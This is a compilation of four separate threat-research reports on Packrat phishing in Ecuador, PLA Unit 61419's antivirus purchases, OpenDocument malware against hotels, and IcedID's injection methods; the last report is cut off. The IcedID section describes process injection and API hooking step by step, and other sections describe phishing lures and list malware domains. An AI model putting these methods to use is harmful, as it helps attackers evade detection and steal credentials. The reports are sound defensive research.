2.2 Common Techniques We observed a range of social engineering techniques used to send malware to Ecuadorian targets. In the cases where we observed seeding, we found that the malware was often accompanied by political bait content, frequently relevant to Ecuador’s opposition. In other cases, the seeding was personalized to the intended victim. The most common delivery mechanism was via Microsoft Word DOCX files containing malicious Java. However, in other cases, attackers used fake updates. **Common Seeding Techniques** - Emailed as attached malicious files - As links to malware hosted on sites controlled by the attackers - On Google Drive or OneDrive - Popups or fake update notifications on politically themed/lookalike sites Packrat often uses email senders and websites in its social engineering that appear similar to real persons and organizations. For example, they registered ecuadorenvivo.co, which looks like the genuine domain of the Ecuador En Vivo news website (ecuadorenvivo.com). Packrat then sent e-mails purporting to be news updates from the ecuadorenvivo.co domain. ### 2.3 Three Attacks in Detail To illustrate Packrat’s approach, this section describes three recent attacks in detail. The attacks date from between Spring and Fall 2015. Targets of these attacks include Ecuadorian journalists and public figures. #### 2.3.1 Attack 1: Email from a fake opposition movement Throughout April 2015, multiple targets received e-mails from the “Movimento Anti Correista” (English: “Anti Correa Movement”), a fictitious group that purports to be opponents of Ecuador’s current president, Rafael Correa. The emails contained a Microsoft Word DOCX attachment containing Adzok malware, as well as text and graphics to bolster the fiction. **Example Seeding E-mail from “Movimento Anti Correista”** **Seeding text translation:** **Subject:** Foul Play by Rafael Correa Against the Opposition **Body:** We are sharing with you this leaked document about President Rafael Correa’s dirty tricks against the opposition. (Open on a PC, this cannot be read on a phone.) Coming soon more leaks on: www[.]movimientoanticorreista.com The e-mail seems intended for several purposes. It is obviously designed to trick the target into downloading and viewing the document, but it also seems to be an effort to establish the legitimacy of the domain and the identity of the movement. **The Malicious Attachment** **Name:** La jugada sucia De Correa ante la oposición.ppt **Type:** Microsoft Word Document file (.docx) **MD5:** ea7bcf58a4ccdecb0c64e56b9998a4ac Embedded in this document is software called “Adzok – Invisible Remote Administrator.” Analysis of the malware can be found in Section 3: The Evolution of Packrat’s Implants and the configuration of this implant can be found in Appendix C: Malware Configuration. #### 2.3.2 Attack 2: You are being spied on! This attack is designed to create a sense of fear and concern in the target, leading to the file being opened. The e-mail is customized for the target’s name and claims that the target is being spied on by SENAIN, Ecuador’s National Intelligence Secretariat. The attachment purports to be a list of Twitter users spied on by SENAIN. Interestingly, the purported sender is “Guillermo Lasso,” the defeated challenger in Ecuador’s last presidential election. **Seeding text translation:** **Subject:** [Target’s Name] spied on by SENAIN **Body:** Greetings, G.L. Note: Open this on your personal computer. It can’t be opened by smartphones. Like Attack 1, the malware is not delivered with an exploit but rather requires that the victim double clicks on the file and accepts any prompts before executing it. The document instructs the target to click: **English Translation:** In English: TO READ ALL THE TWEETS DOUBLE CLICK ON THE GRAPHIC OF TWITTER When the image is double-clicked, the victim is infected with malware from the AlienSpy family. Examining the configuration file of the malware reveals that the malware uses the C2 server daynews.sytes.net, which is a domain common to several Packrat attacks. Interestingly, we found that the same document (identical MD5) was repurposed for several other attacks. #### 2.3.3 Attack 3: “Exclusive Information about Correa’s Lies” This attack was served via a link to a fake political website hosting malicious content. The e-mail served to direct the victim to the site. Interestingly, the attack attempts to trick the target into believing that it originates from the legitimate investigative journalism site Focus Ecuador. Packrat appears to have acquired the .tk and .info domains of the same name, just as they had with Ecuador En Vivio. **From:** Focus Ecuador <[email protected]> **Date:** [September, 2015 REDACTED] **Subject:** FOCUS ECUADOR ADELANTA EL VIDEO DEL ESCANDALO **To:** [REDACTED] El informe sobre las mentiras de Correa: ver video exclusivo: http://focusecuador.tk/ **English Translation** **From:** Focus Ecuador <[email protected]> **Date:** [September, 2015 REDACTED] **Subject:** FOCUS ECUADOR THE VIDEO SCANDAL **To:** [REDACTED] Information on the lies of Correa see the exclusive video: http://focusecuador.tk/ The email also contains a tracking image from the domain mesvr.com, which is commonly used by ReadNotify, a service used to track the delivery of emails. It appears that the attackers were hoping to gain additional information about their targets, such as possibly de-anonymizing the IP addresses of targets who might be reluctant to open files. The focusecuador.tk lookalike website contained content scraped from the legitimate site but also showed victims a Flash update notification. When clicked, the link triggered the download of “plugin_video.jar”. **Attack 3: Binary** **Name:** plugin_video.jar **Type:** Java Archive (JAR) **MD5:** 74613eae84347183b4ca61b912a4573f Detailed analysis of the malware can be found in Section 3 and the configuration of this implant can be found in Appendix C. ### 2.4 Packrat Speaks! During the course of our behavioral analysis of Attack 3, a Packrat operator began to communicate to one of the Citizen Lab researchers in Spanish and English on an infected machine. The taunts were delivered as popups and text displayed in Internet Explorer. The tone was threatening and vulgar. **More Taunts: Translated English and Original Spanish** - Now you are in trouble! Lammer! - You think you’re living, we have your IP! - You keep analyzing processes - We are going to analyze your brain with a bullet and your family too - Take care of your family - We have your picture - You like playing the spy where you shouldn’t, you know it has a cost: your life! - Take your time and scan processes, we’re going to get you quickly Several taunts also came through in mangled English: - “We gou You Punk!!” [sic] - “Your are playing with fire, will get burn!” Perhaps aiming for surprise value, the attackers also used Windows text-to-speech functionality to have the infected machine play out some of their Spanish-language taunts. ## 3. The Evolution of Packrat’s Implants Over the past seven years, Packrat has used several different types of malware, much of it off-the-shelf RATs, such as Cybergate, Xtreme, AlienSpy, and Adzok. While these malware families are known to researchers, Packrat typically obfuscates their malware using a range of tools, including an unknown VB6 crypter, AutoIt3Wrapper, UPX, PECompact, PEtite, and Allatori Obfuscator. This layer of obfuscation means that Packrat’s attacks frequently escaped detection by antivirus when the attacks were deployed. This section describes these tools, roughly grouped into distinct time periods. ### 3.1. 2008-2014: Packed RATS, mostly CyberGate Between 2008 and 2014, Packrat made extensive use of off-the-shelf RATs encapsulated in AutoIt3Wrapper, a runtime packer. The use of an initial obfuscation layer seems to have been enough to thwart or at least misguide detection, as well as leverage some basic anti-debugging techniques. The majority of implants that are then dropped and executed appear to be CyberGate RAT. In 2013 and 2014, Packrat seems to have adopted XtremeRAT as well. Many of these attacks included embedded decoy Office documents that are opened at execution of the implant, likely in the context of a targeted attack. Among the documents we found are résumés of purported Brazilian citizens, as well as purported payment receipts of the Association of Lawyers of Sao Paulo, Brazil. ### 3.1.1 Analysis of CyberGate RAT The CyberGate RAT samples we analyzed were, as mentioned above, typically wrapped in a layer of AutoIt. Code and strings found in the binary indicate that it is based on the Spy-Net RAT version 2.6. This RAT was developed by a Brazilian hacker using the handle spynetcoder and is outlined on the Spy-Net RAT ‘official’ website. **CyberGate’s Infection Routine** After unpacking from the applied runtime packer, CyberGate runs its second stage, which is likely the infection routine. This injects the third stage, a DLL, into a running process. Once implanted, CyberGate then deploys a range of techniques for persistence and monitoring. **CyberGate Anti Analysis** The infection routine comes with a set of anti-analysis features packaged in a single function. CyberGate searches for a range of virtual and sandbox environments. It also checks for user space debuggers through the IsDebuggerPresent API, and for SoftICE and Syser through their respective pipes. **CyberGate Process Injection** The infection routine fetches the encrypted implant from the resource section, and upon decryption attempts to inject its implant into the Windows system shell process (explorer.exe). If this fails, CyberGate launches an explorer.exe process on its own, injects its implant into it, and then completes the setup. To achieve persistence, the second stage writes registry keys so that CyberGate is run at startup. ### 3.1.2 Analysis of XTremeRAT XTremeRAT is commercial off-the-shelf malware, often available cracked, and used to monitor victim machines. While used by apolitical hackers, XTremeRAT has been extensively used by government-linked malware groups to target the opposition during the ongoing Syrian Civil War, as well as by other politically motivated groups in the Middle East and North Africa. ### 3.2: 2014-2015 AlienSpy Dominates Over the past two years, Packrat has been using an evolving family of off-the-shelf malware known as AlienSpy. The software began as the free RAT “Frutas,” and was identified in 2013 during a campaign in Mexico. This was subsequently adapted for commercial sale as the “Premium RAT” Adwind. The software was most recently branded “AlienSpy,” and was again found by security researchers in targeted spying operations. At the time of this report, the latest re-packaging of this RAT is known as JSocket. For the purposes of this report, we’ll refer to all variants of this spyware as “AlienSpy.” AlienSpy is a relatively full-featured RAT with a range of features, such as recording the victim’s keystrokes, audio eavesdropping via a device’s built-in microphone, remote viewing of the desktop, and the ability to turn on a victim’s webcam “without user notification.” ### 3.2.1 Packrat’s AlienSpy Deployment From 2014 to early 2015, Packrat’s preferred technique was to send AlienSpy implants as attachments in phishing emails with the extension ‘.pdf.jar.’ The default setting in Windows is to hide file extensions, thus making it appear to be a “.pdf” file. ### 4. Packrat’s Persistent Phishing Campaigns Packrat is active in phishing, often against the same groups and individuals whom they target with malware. For example, when examining one target of malware attacks, we found this individual had been targeted by dozens of phishing attempts by Packrat during the same period. This section describes these phishing campaigns and describes both Politically-Themed and Non-Politically Themed phishing attacks. **Category** | **Example Domain** | **Note** --- | --- | --- Politics & News | lavozamericana.info | Fake news website Governmental – Ecuador | asambleanacional-gob-ec.cu9.co | Lookalike to the Ecuadorian National Assembly’s e-mail login Political Movement – Ecuador | movimientoanticorreista.com | Fake political movement Free E-mail | mgoogle.us | Fake Google login ### 4.1 Non-Politically Themed Phishing Content One of the most common phishing techniques is lookalike communications from popular webmail and social media sites containing requests for password verification, notifications of unauthorized logins, and so on. Packrat uses a wide range of templates for the major email providers, including Gmail, Yahoo, and Hotmail. A majority of the e-mails are in Spanish. The messages are typically personalized to the targets, including both their names and e-mail addresses. ### 4.2 Politically Themed Phishing We observed a wide range of e-mails and messages that contained content with political overtones. Packrat takes two basic approaches in the attacks we have examined. First approach: create fake political and media organizations. Second approach: impersonate well-known groups and high-profile individuals. ### 5. Possible Deception Operations Not all of the domains associated with this group appear to have been built to spread malware or to trick victims into entering their passwords. Several domains are extensively built out and currently maintained, which appear to be designed to convey the impression of active, news media sites. ### 6. The Challenge of Attribution The evidence presented in this report points to a coordinated and persistent campaign with a regional focus. Naturally, this raises questions about attribution. This section assesses two competing hypotheses: Hypothesis 1: Packrat is State-Sponsored and Hypothesis 2: Packrat is Not State-Sponsored. ### 6.1 Hypothesis 1: Packrat is State-Sponsored The list of known targets is full of influential people whose activities could have an impact on the domestic and regional political standing of regimes in several countries. Where we have been able to identify individuals who have been targeted, we find vocal, strong regime critics and independent journalists in Ecuador and Argentina. The strong representation of ALBA (Bolivarian Alternative for the Americas) countries, and their recent “fellow-travelers” among the locations of targeting may be instructive. The governments of Ecuador and Venezuela, meanwhile, are especially close allies, although it is unclear how this will evolve given Venezuela’s very recent elections.
# China’s PLA Unit 61419 Purchasing Foreign Antivirus Products, Likely for Exploitation Recorded Future’s Insikt Group has discovered six procurement documents from official People’s Liberation Army (PLA) military websites and other sources that show the Strategic Support Force (SSF) branch of the PLA, specifically Unit 61419, has sought to purchase antivirus software from several major American, European, and Russian security companies. The PLA’s Unit 61419 sought to purchase English-language versions of the security software listed below. The focus on English versions of these products is notable because Chinese-language versions would be the more logical choice if the software was intended for legitimate use or to test the potential exposure of private and commercial end-users in China to vulnerabilities in foreign antivirus software. Insikt Group assesses that the purchase of foreign antivirus software by the PLA poses a high risk to the global antivirus software supply chain. Based on patterns of past campaigns and tactics, two scenarios are most likely for the PLA’s exploitation of foreign antivirus software: **Scenario 1:** PLA cyber units and affiliated hacking groups will use foreign antivirus programs as a testing environment for natively developed malware. They will run the malware through foreign antivirus products to test its ability to evade detection, thereby making it more likely to successfully infect its targeted victims. **Scenario 2:** PLA cyber units and affiliated hacking groups will reverse engineer the foreign antivirus software code to find previously undisclosed vulnerabilities. They will then use the newly discovered vulnerabilities in a zero-day attack for initial intrusion. | Date of Procurement Order | Product Name | Subscription Length | Number of Users | Country of Supplier | |---------------------------|-----------------------------------------|---------------------|-----------------|---------------------| | 1/6 January 2019 | Kaspersky Security Cloud Family | 1 year | 20 terminals | Russia | | January 2019 | Kaspersky Security Cloud Personal | 1 year | 10 terminals | Russia | | January 2019 | Kaspersky Endpoint Security for Business Select | 1 year | 10 terminals | Russia | | January 2019 | Kaspersky Endpoint Security Cloud Plus | 1 year | 10 terminals | Russia | | January 2019 | Avira Prime | 1 year | 10 terminals | Germany | | April-May 2019 | Kaspersky Endpoint Security for Business ADVANCED | 2 years | 30 terminals | Russia | | April-May 2019 | McAfee Total Protection | 2 years | 30 terminals | US | | April-May 2019 | Dr. Web Enterprise Security Suite | 2 years | 30 terminals | Russia | | April-May 2019 | Nod32 ESET Multi-Device Security | 2 years | 10 terminals | Slovakia | | April-May 2019 | Norton Security Premium | 2 years | 10 terminals | US | | April-May 2019 | Symantec Endpoint Protection Subscription | 2 years | 10 terminals | US | | November 2019 | Trend Micro Worry-Free Services Advanced | 2 years | 10 terminals | US-Japan | | November 2019 | Sophos Intercept X | 2 years | 10 terminals | UK | | November 2019 | BitDefender Total Security | 2 years | 10 terminals | Romania | Insikt Group also found a contract award announcement published by the SSF related to the acquisition of Cisco routers, among other pieces of communications technology. This document uses the same contact address associated with Unit 61419 as many of the antivirus procurement documents. ## Patterns of Past Campaigns Several factors inform our assessment that the purchase of English-language foreign antivirus software is motivated by SSF’s role in computer network exploitation by the Chinese military: 1. In 2017, over 2.27 million users of Avast CCleaner were compromised by a malicious update planted by a Chinese state-sponsored threat actor, resulting in over 1.6 million computers being infected with the first-stage Floxif trojan. A small subset of those victims was infected with a second-stage trojan, likely for espionage. 2. In the summer of 2019, a Chinese state-sponsored APT called Tick Group exploited two zero-days impacting Trend Micro’s Apex One and OfficeScan XG enterprise security products. 3. In 2019 and 2020, the US Justice Department indicted five members of the Chinese APT known as APT41 with an intrusion campaign affecting more than 100 companies globally. APT41 compromised software providers and then modified the providers’ code to facilitate further intrusions against the software providers’ customers. The objectives of the campaign were espionage and cryptocurrency mining. 4. In October 2019, Avast announced a second breach of the CCleaner software. This time, the hackers successfully breached the infrastructure to which CCleaner hosting had been moved following the 2017 compromise. The Czech Security Information Service (BIS) attributed this attack to Chinese threat actors. 5. In October 2020, Google’s Threat Analysis Group reported that Chinese state-sponsored hacking group APT31 impersonated the antivirus company McAfee to conduct targeted attacks on the Biden campaign’s email system. Targets were prompted to install a legitimate version of McAfee Total Protection antivirus software from GitHub, while the malware was simultaneously installed to the system. McAfee Total Protection is one of the antivirus packages purchased by Unit 61419 a year prior. 6. In 2021, Microsoft announced that a Chinese state-sponsored hacking group, HAFNIUM, used four zero-day exploits to gain access to and install web shells on Microsoft Exchange servers, compromising Outlook Web Access (OWA) in as many as 60,000 organizations worldwide. Additionally, the Chinese government has not used foreign antivirus software for legitimate purposes since 2014, when it was banned. In August 2014, the state-owned news agency People's Daily reported that the Central Government Procurement Department excluded Kaspersky and Symantec from a list of approved information security software providers. Chinese officials approved the use of five China-based firms: Qihoo 360 Technology, Venustech, CAJinchen, Beijing Jiangmin, and Rising. China’s Ministry of Public Security issued a notice in June 2014 stating that Symantec software had security vulnerabilities including backdoors that could allow outside access. ## Who Is PLA Unit 61419? Unit 61419 is the Military Unit Cover Designator (MUCD) for a bureau within the People’s Liberation Army (PLA) Strategic Support Force (SSF). Although publicly available documentation is scarce, the unit’s area of responsibilities included interpretation of foreign signals intelligence (SIGINT) and other cyber operations, with a focus on Japan and Korea, when it was first identified in 2011. Researchers at the Project 2049 Institute assessed Unit 61419 to be the 4th Operational Bureau of the PLA General Staff Department’s (GSD) Third Department (3PLA). 3PLA was broadly responsible for defensive SIGINT, including monitoring Chinese communication networks, protecting the security of Chinese domestic computer networks, and conducting cyber espionage-oriented computer network exploitation (CNE). Beginning in 2015, the GSD and 3PLA were disbanded, with their capabilities and focus reorganized, at least in part, into the SSF’s Network Systems Department (NSD). The unit is headquartered in Qingdao and comprises multiple subordinate offices, each with its own MUCD. These offices are located in Qingdao and surrounding areas, Hangzhou, Beijing, and Shanghai. Each of these offices likely has its own MUCD. One of these, Unit 61680, is located in the Wenquan township under Jimo city and has a training center there. Unit 61650 uses the same address as Unit 61419 for its equipment procurement, suggesting it is a subordinate office as well. Unit 61789 is subordinate as well and is probably located in Shanghai. Research conducted by Unit 61419 members includes a 2008 paper on the extension of the US’s “nuclear umbrella” to Korea as well as medical topics, the latter focus suggesting the unit has a medical department. A logistics department manages Unit 61419’s properties and a political department handles discipline and political education, as in most other PLA units. Unit 61419 may have a training base in Xinzhou, Shanxi province. Recent reporting from Japan implicates Unit 61419 in a series of cyberattacks on companies like Mitsubishi Electric, Hitachi, Keio University, Hitotsubashi University, and the Japan Aerospace Exploration Agency (JAXA) in 2016 and 2017. The wife of a member of Unit 61619 reportedly instructed a Chinese student living in Japan to rent servers using an alias. Those servers were then used in some of the cyberattacks referenced above. Japanese media further cited Japan’s Tokyo Metro Police Department’s Public Safety Bureau in asserting that Unit 61419 is linked to the Tick Group APT, which was also identified as being behind the 2016 and 2017 cyberattacks. Although definitive attribution of Tick Group to Unit 61419 remains difficult to confirm at this time, the APT has historically focused on Japanese targets. This aligns with Unit 61419’s focus on Japan. Moreover, Tick Group’s exploitation of zero-days impacting Trend Micro’s Apex One and OfficeScan XG enterprise security products occurred months before a November 2019 procurement announcement for Trend Micro’s Worry-Free Services Advanced was issued by an SSF unit using Unit 61419’s headquarters as the application delivery address. Given the tentative links to cyberattacks in Japan and Tick Group, as well as the procurement activities identified in this report, Unit 61419 most likely continues to operate as an SSF NSD bureau focused at least in part on CNE operations. ## Locating Unit 61419 Insikt Group identified several important patterns from the six procurement documents. All six documents list a consistent point of contact — a “Mr. Yu” — along with a phone number. Six of the documents also list the same contact address in Qingdao City, Shandong province: No. 5 Fushun Road, Shibei District, Qingdao City, Shandong Province, postal code 266034. All of the procurement documents for Unit 61419 use this address. This address is also used for other units, such as 61650, that are likely subordinate to Unit 61419. In addition to the procurement documents, Insikt Group found a 2018 electricity outage notice listing Unit 61419’s logistics department as an affected party on Fushun Road. The notice reads, “35kV Fushun Road Substation|Planned blackout … 61419 logistics department of the Army affects 2 stations and 231 district customers.” Baidu Maps shows that No. 5 Fushun Road is the location of a hotel in Qingdao called the Bihaiyuan Hotel. Some of the procurement documents refer directly to this hotel or its front desk. Recorded Future assesses that the No. 5 Fushun Road address is the headquarters of Unit 61419 and that the Bihaiyuan Hotel is its public face. Behind the hotel is a walled compound similar to the headquarters of other PLA units. Our assessment corroborates Project 2049 Institute’s finding in 2011 that this address was the likely headquarters. Limited evidence suggests the use of hotels is a model used by PLA units in a possible attempt to obfuscate their locations. Past reports have alleged that PLA cyber and electronics units have leased floors of hotel rooms for their operations or as possible headquarters. The Bihaiyuan Hotel is also not the only hotel associated with Unit 61419. A 2018 lawsuit filed by PLA Unit 61789 against Shanghai Golden Hope Hotel Management Co. Ltd. over a breach of its "Military Real Estate Lease Contract" indicates that in 2014 Unit 61419 leased a building on Yan'an Middle Road in Shanghai to the hotel management company. The lawsuit indicates that Unit 61789 was subordinate to Unit 61419 in 2017. ## Recommendations Given the pattern of Chinese state-sponsored exploitation of the global software supply chain described above, as well as China’s exclusion of foreign antivirus software as an option for government organizations, the brands and products indicated in the table should be monitored for future exploitation. Focus should be placed on adversarial simulations, penetration testing, patching known vulnerabilities, and monitoring for anomalous traffic related to these antivirus products. While Recorded Future is not in a position to evaluate the precise legality of any transactions that may have resulted from the procurement documents we reviewed, we further recommend any impacted organization seek legal counsel about the sales of security software to China given the US Department of Commerce’s Export Administration Regulations (EAR) regulations that cover information security software.
# HP Threat Research Blog • Stealthy OpenDocument Malware Deployed Against Latin American Hotels In late June 2022, HP Wolf Security isolated an unusually stealthy malware campaign that used OpenDocument text (.odt) files to distribute malware. OpenDocument is an open, vendor-neutral file format compatible with several popular office productivity suites, including Microsoft Office, LibreOffice, and Apache OpenOffice. As described in a blog post by Cisco Talos, the campaign targets the hotel industry in Latin America. The targeted hotels are contacted by email with fake booking requests. In the case below, the attached document was purportedly a guest registration document. ## Infection chain The malicious document was sent as an email attachment. If the user opens the document, they are shown a prompt asking whether fields with references to other files should be updated. An Excel file opens if they click ‘Yes’ to this cryptic message. Afterwards, the user is shown another prompt asking whether macros should be enabled or disabled. If the user allows macros, this triggers the infection chain, eventually leading to the execution of the malware payload, AsyncRAT. It’s interesting to see OpenDocument files being used to distribute malware because we seldom see malware in the wild that uses this file format. Strikingly, the document used in the campaign is poorly detected by anti-virus scanners, with a 0% detection rate on VirusTotal as of 7 July. Unlike many malicious documents, analyzing the OpenDocument file reveals no hidden macros. However, the document references Object Linking and Embedding (OLE) objects hosted remotely, as shown in the styles.xml file. The document references 20 documents hosted on the same domain, webnar[.]info. When opening the document, these references are downloaded and opened. Based on our analysis, the same document is always downloaded and contains no macro code. However, the downloaded document contains ten embedded Excel spreadsheets. If the user chose to enable macros at the prompt, each of these Excel files opens and asks the user if macros should be activated. It is unclear what purpose is served by opening so many duplicate files. The Visual Basic for Applications (VBA) macro inside the Excel documents is lean, running a command using the mshta.exe (T1218.005) tool built into Windows that downloads and executes additional code from the web. At this point, a complex chain of PowerShell, VBScript, and batch scripts are started, finally decoding and executing AsyncRAT, an open-source remote access trojan written in C#. A scheduled task is created to make the malware persistent on the infected PC. The task re-launches the malware every two hours. The significant part of this infection chain is how the attacker evaded detection by relying on the OpenDocument format to load malware using external OLE objects. ## Links to other campaign activity To see if the same lure was used in other campaigns, we compared the images in the malicious document to a corpus of historical malicious document images from the last three years. In July, another malicious document was spotted in the wild that contained the logo of a legitimate organization mimicked by the threat actor. The main difference between the two campaigns is that the second one relied on Microsoft Word documents instead of OpenDocument files. Interestingly, the detection rate of the malicious Microsoft Word document is far higher than the OpenDocument file. Both campaigns used the same lure and targeted Latin American hotels by email. We found evidence of similar activity that has been ongoing for several months based on the targeted organizations and lure languages (Portuguese and Spanish). ## Conclusion Attackers are always hunting for stealthy ways of delivering malware that evades endpoint security. This campaign illustrates how OpenDocument text files can be abused to deliver malware through external OLE references with extremely low detection rates. Documents that arrive from outside an organization should always be treated with suspicion, especially if they try to load external content from the web – but in practice, this isn’t always straightforward advice to follow, especially in industries that rely on exchanging electronic documents between suppliers and clients. However, since HP Wolf Security works by isolating high-risk tasks like opening email attachments inside secure micro-virtual machines that do not rely on detection, this stopped the malware in this campaign from infecting the host system. ## Indicator of Compromise **OpenDocument files:** - Relação de Hospedes HPLUS.odt (English translation: “Guest List HPLUS.odt”): 74d8bc5023f8d56e5b9fb46a5da5f1ce7e3e04826ca543274d7f6205866490b9 - CNPJ – HPLUS SISTEMA DE ENSINO LTDA.odt: b13ce271e58dff54bccf92dbccc17414af168efc2d47d44554a883ca0b2e8e08 **Microsoft Word document:** 85007a9921ef08cae11e27944fcf0a1897c78dd9f26b6801f17b3b2f80d8f794 **Externally referenced Word document:** 598ee4b45b38e5d3485e0d6da9e4369c91c5e9981d869ab4745e4df1f9ac14b2 **Embedded Excel files:** - 2c783d33c0f86fd266efab7dc2f135e83de49472914fc4646f94f590104c0dfa - b88fcd15369df470634ec02ee42392ac948520b4c55b7a7b2c5f979c94cd43d5 - 6a9c9855bdef4e811610f78385c2deca1f898610de1827f55b92458d157a1788 - d46bad7b5f3bf546f70ea1e5caddd1974b06d1befa26f6bca54c98c1431e5276 - 559eb36bf8ebcb34156972e3eb77bc2c103c9320ef09f31d945532deed73fb87 - 46503673cf5a603f12cf01d7a6ef232a2bad791201e17d0b449e5e094c63bca3 - 35e16501438467a0649210473d2527310575a302471778989568b1ef40766b46 - 1d266e5c8036b48136d9585040c6f85cb61a8b8693997cc0e9ed88e55e1157ea - c402e4b0fa8c7742d6ad086160a71d5d2b0e23d6531dd739076cc10922da5076 - db76cf9623b1f2b1750d75fa2502af7e4f1f6050000bbcedef6379e9d5cb9408 **Domains hosting malware stages:** - webnar[.]info - www.unimed-corporated[.]com
# IcedID Banking Trojan Spruces Up Injection Tactics to Add Stealth IBM X-Force Research proactively researches financial cybercrime threats on an ongoing basis. In recent activity, X-Force studied some changes made to the IcedID banking Trojan that help the malware act more stealthily on infected devices. Banking Trojans and the organized crime gangs that operate them have risen in the past decade to become one of the most prominent online threats affecting the financial sector and online service providers at large. These highly evolving malicious programs are often modular and sophisticated and, in most cases, supported by an in-house developer that keeps updating code to evade security controls. It’s not always easy to keep up with threat evolution in-house. These details about the updated injection method can help security professionals manage risk to their organization and detect updated versions of IcedID that use this injection tactic. ## No New Threads to See Here Before we delve into the reversing of IcedID’s modified injection, let’s summarize it in a few words. ### Prior to the Change Prior to the recent modifications, IcedID would write its shellcode to targeted operating system (OS) processes via ZwWriteVirtualMemory. IcedID used this tactic in cases where it would inject code into either OS processes or when hooking browser processes. ### After the Change IcedID separated the tactics for OS process injection and browser processes. When the malware injects into an OS process, it creates a process in suspend state. It then hooks the RtlExitUserProcess, which is very often called to terminate userland processes. IcedID’s developer counts on legitimate processes to call on this now-infected process, which will make it jump to the shellcode and run it via a seemingly legitimate flow of events that would not get flagged by most controls. When IcedID injects into a browser process, it hooks the NtWaitForSingleObject function, again by using ZwWriteVirtualMemory. ## A Closer Look Under the Hood To demonstrate how the threat works, let’s begin when the IcedID payload launches its execution routine on a target device. The malware starts by creating a svchost.exe process instance in suspend state and injects its shellcode into that process. After the injection, svchost.exe resumes and the payload terminates itself. The newly malicious svchost.exe process writes the payload to the %ProgramData% folder with a globally unique identifier (GUID)-like folder naming convention. It uses [a-z] [A-Z]{0-9} and the payload, and a name convention of [a-z]{8-9}.exe. The value and file name are generated differently on each operating system running IcedID. However, the name will be the same upon subsequent executions on the same host. This process also creates a scheduled task so that it will run every time the system reboots to allow IcedID to maintain persistence on the infected device. The malicious svchost.exe creates three additional svchost.exe subprocesses and injects its shellcode into each one of them. At this point, with four svchost.exe processes in total, these instances will remain active until the device is shut down at some point. After a reboot, these processes will be tasked with monitoring the OS for the launch of a browser application. The malware will then attack the browser’s process as well and inject it with shellcode. ## Two Injection Methods IcedID injects its shellcode into browser processes with the goal of eventually hooking the process and allowing the malware to begin intercepting and manipulating the victim’s online activity. The malware uses API hooking to inject and execute its shellcode via different legitimate threads running on the victim’s device. 1. IcedID allocates memory in a target process using the NtAllocateVirtualMemory function. 2. The malware writes the shellcode into the target process without suspending that process. To do that, IcedID uses the ZwWriteVirtualMemory or NtWriteVirtualMemory functions. 3. Next, it hooks a frequently called API that’s commonly used by the target process. There are two different API hooking scenarios we observed IcedID using: 1. Injecting into a web-browser via svchost.exe. 2. Injecting into svchost.exe via its parent process. The hooked API is called by the targeted process and the shellcode is thus executed. To wipe its traces, the shellcode fixes the patched library’s function that was used to execute it so that tools that detect hooks and rootkits won’t show any trails of that patch. This injection technique can evade security mechanisms that would otherwise detect suspicious API calls. Remotely setting up a hook in a target process without suspending the target process first can cause unexpected behavior. This can easily result in a crash since two threads can execute the code of the API at the same time. ## Deeper Into the Browser Process Injection The first injection tactic is from a svchost.exe process to a web browser. To begin, the malware needs a detection mechanism to identify that the infected user has launched a browser application. To do that, IcedID takes a snapshot of all the running processes and scans them for browser processes. This scan creates an infinite loop that calls on IcedID’s function main_func. One of that function’s parameters is a pointer to another malware function: check_target_process. Viewing the details of check_target_process reveals that it gets the process ID (PID) of the svchost.exe it runs inside. Next, it calls NtQuerySystemInformation to fetch a list of all processes currently running on the device. This scheme keeps running in a loop over all the operating system’s processes to allow the malware to detect browser activity. When it encounters a potential browser process, IcedID checks it via the check_target_process. This last function uses two parameters to check whether a process is of interest or not: 1. The target process’ ID. 2. The target process’ name. The function encodes the process’ name and compares it with hardcoded strings the developer created, representing the names of browsers IcedID can inject into. If there’s no match, the function returns to its scanning routine, looking for other browser processes. The next step for the malware is to call decode_target_process_event_name. This function receives the targeted process’ PID as a parameter and generates an event name for the web browser process that’s about to be injected with IcedID’s shellcode. Now, after a match has been found and the validation of the target process is complete, the actual injection process begins by calling the function inject_target_process. Here, again, the parameter is the target process’ PID. The inject_target_process function receives a handle to the target process using the OpenProcess API. It then checks whether the process is either 32-bit or 64-bit to prepare the correct code version for injection. Next up, the function that’s responsible for the injection starts by allocating memory in the target process. We can see the memory allocation call and then writing of the shellcode into the target process using three Windows API functions: 1. NtAllocateVirtualMemory. 2. ZwProtectVirtualMemory. 3. ZwWriteVirtualMemory. After it writes the shellcode into the process, IcedID calls to the next function for patching, depending on which architecture applies: - patch_NtWaitForSingleObject_32bit. - patch_NtWaitForSingleObject_64bit. To patch the NtWaitForSingleObject function and make it jump to the shellcode the next time it is called, IcedID begins by modifying the page protection status of that function using ZwProtectVirtualMemory. Then, the malware applies the hook using ZwWriteVirtualMemory, and ends with switching the protection flag back to its normal permission state. From this point on, subsequent calls to the NtWaitForSingleObject function will jump to the malware’s injected shellcode and execute it. The hooking process does not stop here; it is a perpetual loop that continues for as long as the device is infected with IcedID. If the user opts to launch a different browser, the malware will hook it as well and enable itself to intercept and interfere with the victim’s online banking activities on any of the three browsers it can hook. ## A Closer Look at IcedID’s Shellcode Let’s take a closer look at the shellcode that IcedID injects into browser processes. At the starting point, the newly hooked browser process calls on the NtWaitForSingleObject function. The injected shellcode runs and fixes the hook to make sure the shellcode leading to the main function will only be called once and not loop back repeatedly, especially since NtWaitForSingleObject is a common API and will be called many times. This also wipes the traces of the hook, which can make it harder for researchers to find. One of the browser functions hooked by IcedID is Ws2_32:connect. This function redirects the victim’s browsing traffic to the now-malicious svchost.exe process, allowing the malware to identify data the attacker wishes to receive, such as credentials, payment card details, etc. The data is exfiltrated to the attacker’s command-and-control (C&C) server. This shellcode is what enables IcedID to gain some control and insight into what the victim is doing online and allows the attacker to interfere with that activity. ## Deeper Into the OS Process Injection The second injection method IcedID uses is designed for injecting into processes of the operating system, not the browser. This second tactic relies on the familiar method of creating a new process with the CREATE_SUSPEND flag and then hooking the RtlExitUserProcess API. Once the new process starts executing, it will fix the function back to its original state. This sums up IcedID’s split injection tactics. It appears that the malware’s operators are getting advice from other coders, likely those working on the TrickBot project. These modifications can make the malware’s activity stealthier, yet effective. ## IcedID Keeps It Moving IcedID emerged in 2017 as a modular banking Trojan with advanced capabilities to automate fraudulent transactions and control user devices to take over their bank accounts. Since its initial analysis, it has been evolving gradually over time and showing explicit collaboration with the TrickBot Trojan by ways of common distribution and feature similarity. In August 2018, our researchers noted that IcedID had been upgraded to behave in a similar way to the TrickBot Trojan in terms of its deployment. The binary file had been modified to become smaller and no longer featured embedded modules. The malware’s plugins were being fetched and loaded on demand from a remote server after the Trojan was installed on infected devices. These changes 